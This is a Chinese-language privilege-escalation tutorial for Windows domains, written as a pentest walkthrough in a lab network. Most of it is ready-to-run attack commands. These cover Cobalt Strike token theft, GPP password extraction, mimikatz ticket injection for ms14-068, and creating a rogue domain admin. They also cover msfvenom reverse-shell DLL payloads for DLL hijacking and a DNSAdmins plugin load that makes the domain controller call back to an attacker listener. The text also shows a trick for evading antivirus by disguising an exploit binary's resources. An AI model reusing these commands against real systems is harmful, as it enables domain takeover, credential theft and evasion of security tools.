Windows提权入门
一、访问令牌伪造
基础知识
windows系统中存在以下两种令牌:
- 授权令牌Delegate Token:用于交互会话登录(例如本地、远程rdp登录)
- 模拟令牌Impersonate Token:用于非交互式登录(例如net use、wmi、winrm远程访问等)
值得一提的是,当授权令牌在用户注销以后会自动转为模拟令牌,而且权限依然有效。在内网渗透时我们经常需要使用令牌伪造进行提权、降权等操作,下面通过具体案例进行说明。
漏洞利用
在一次渗透过程中,我们拿到一台域内主机,看了下权限是普通用户LAB\user1
beacon> getuid
image.png
进一步信息收集发现这是一台windows7系统,并且没有打ms17-010补丁
beacon> shell systeminfo
image.png
使用ms17-010漏洞将权限提到system
image.png image.png运行ps命令发现目标机器上存在域管进程,尝试访问域管提示拒绝访问
beacon> ps
beacon> shell dir \\test-lab.lab.com\c$
image.png
image.png
接下来使用steal_token进行令牌窃取,如下图,伪造完成后就有权限访问域管了
beacon> steal_token 3164
beacon> getuid
beacon> shell dir \\test-lab.lab.com\c$
image.png
如果想撤回令牌可以使用rev2self
beacon> rev2self
beacon> getuid
image.png
二、GPP提权之ms14-025
SYSVOL为全域共享文件夹,所有用户都可读,当域的组策略配置不当时,我们可以读取groups.xml文件。该文件中的密码使用AES256加密,但是微软直接提供了AES密钥,所以我们可以进行解密。
- 搜索Groups.xml文件
findstr /S /l cpassword \\test-lab.lab.com\sysvol\lab.com\policies\*.xml
- 通过浏览器直接访问
\\test-lab.lab.com\sysvol\lab.com\Policies\{19634A19-E8CD-4907-B020-A984884D2383}\Machine\Preferences\Groups\Groups.xml
image.png
- 或者使用msf中的模块自动利用
use auxiliary/scanner/smb/smb_enum_gpp
set smbuser user1
set smbpass 123456
run
use post/windows/gather/credentials/gpp
set session 1
run
image.png
- 修复
打上ms14-025补丁
三、利用CVE提权
CVE-2018-8120
比较常用的一个提权cve,在win7和server 2008上效果不错。不过大部分杀软对网上下载的exp会直接kill。
https://github.com/unamer/CVE-2018-8120
image.png
介绍一种资源混淆免杀的方法,原理就是使用Restorator添加静态资源文件,例如我们给CVE-2018-8120.exe加入360的图标
image.png image.png添加完成,再次扫描提示无风险,执行命令也可以成功
image.pngCVE-2018-8120.exe whoami
image.png
ms14-068
使用ms14-068可以将域内任何一个普通用户,提升至域管权限。
whoami /user 查看当前用户的SID
net group "domain controllers" /domain 查看域控制器
klist 查看票据
klist purge 清除票据(很重要)
image.png
image.png
生成TGT票据文件,并使用mimikatz注入TGT票据
MS14-068.exe -u user1@lab.com -p 123456 -s S-1-5-21-2459985384-3702016611-994786968-1108 -d TEST-LAB.lab.com
mimikatz.exe "kerberos::ptc TGT_user1@lab.com.ccache" exit
票据注入完成后,即可获得域控权限
dir \\test-lab.lab.com\c$ 列出域控的C盘
net user test Test@123 /domain /add 创建域用户
net localgroup administrators test /add /domain 添加域用户到管理员组
net use z: \\test-lab.lab.com\c$ "Test@123" /user:"test" 将域控的C盘映射为本地的Z盘
创建定时任务 反弹shell
net time \\test-lab.lab.com 查看目标的时间
at \\test-lab.lab.com 10:28 c:\evil.exe 添加定时任务
at \\test-lab.lab.com 列出定时任务
at \\test-lab.lab.com 1 /del 删除定时任务
提权辅助工具
使用以下工具可以帮助我们自动枚举系统存在哪些本地提权漏洞
https://github.com/bitsadmin/wesng
systeminfo > test.txt
python wes.py test.txt
image.png
四、dll劫持
实际场景中没有用到过dll劫持,网上找到的解释:
在windows系统中,当我们执行某一个程序时,相应的dll文件会被调用,根据这个思路,我们可以将正常的dll文件替换成恶意dll文件,当管理员打开该程序时,就能达到提权的效果。
我的理解:
dll劫持的核心是找到有权限操作的dll文件,替换成恶意的dll,还需要管理员去打开程序。
实际场景中为了保持原dll的功能不变,最好手动去编写dll文件(但是我不会),所以这里用msf生成dll演示一下。
- 例如,当前我们获得了一个普通权限的webshell
- 使用msf生成一个恶意dll文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.80.139 lport=4444 -f dll -o msvcr110.dll
image.png
- 将FlashFXP安装目录下的msvcr110.dll,替换成上一步msf生成的恶意dll
- 当管理员打开FlashFXP时,会加载恶意dll文件,成功提权。但是由于FlashFXP的dll已被破坏,所以软件无法再正常使用了。
五、将administrator提权到system
- 当我们拿到administrator用户的权限时,可以使用如下的方式提权到system。
- psexec
PsExec64.exe -i -s cmd.exe
image.png
- at
创建计划任务的命令,默认以system权限启动,适用于win7及以下操作系统。
net time \\192.168.80.80
at \\192.168.80.80 11:34 c:/evil.exe
at \\192.168.80.80
at \\192.168.80.80 1 /del
- schtasks
对于win7以上操作系统,可以使用schtasks命令创建计划任务。
schtasks /create /RL HIGHEST /F /RU SYSTEM /TN TestService1 /SC DAILY /ST 14:17 /TR c:/evil.exe 以system用户创建计划任务
schtasks /query | findstr "Test" 查询计划任务
schtasks /run /TN TestService1 手动运行
schtasks /F /delete /TN "TestService1" 删除计划任务
- 当我们拿到加入了administrators组的用户时,需要绕过uac用户账户控制提权到system。
- 使用msf中的bypass uac模块
use exploit/windows/local/bypassuac
set payload windows/meterpreter/reverse_tcp
set session 1
set target 1
exploit
image.png
六、DNSAdmins提权到域控
在域环境中,通常域控也是DNS服务器,如果域用户拥有DNSAdmin权限,则能够在DNS服务器上远程加载dll,进一步实现提权到域管。
- 查看用户组
(DnsAdmins、Domain Admins、Enterprise Admins组内的用户都可以提权)
shell whoami /groups
image.png
- 使用msf生成dll文件
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.80.164 LPORT=4444 --platform=windows -f dll > plugin.dll
- 开启smb共享
impacket-smbserver tools ./tools/
image.png
- 使用dnscmd.exe远程加载dll,dnscmd.exe下载地址:
https://github.com/3gstudent/test/blob/master/dnscmd.exe
shell "dnscmd.exe 192.168.80.80 /config /serverlevelplugindll \\192.168.80.164\tools\plugin.dll"
- 使用nc监听4444端口
nc -nvvlp 4444
- 远程重启dns使dll执行,nc即可获得域控的shell
shell sc \\192.168.80.80 stop dns
shell sc \\192.168.80.80 start dns
image.png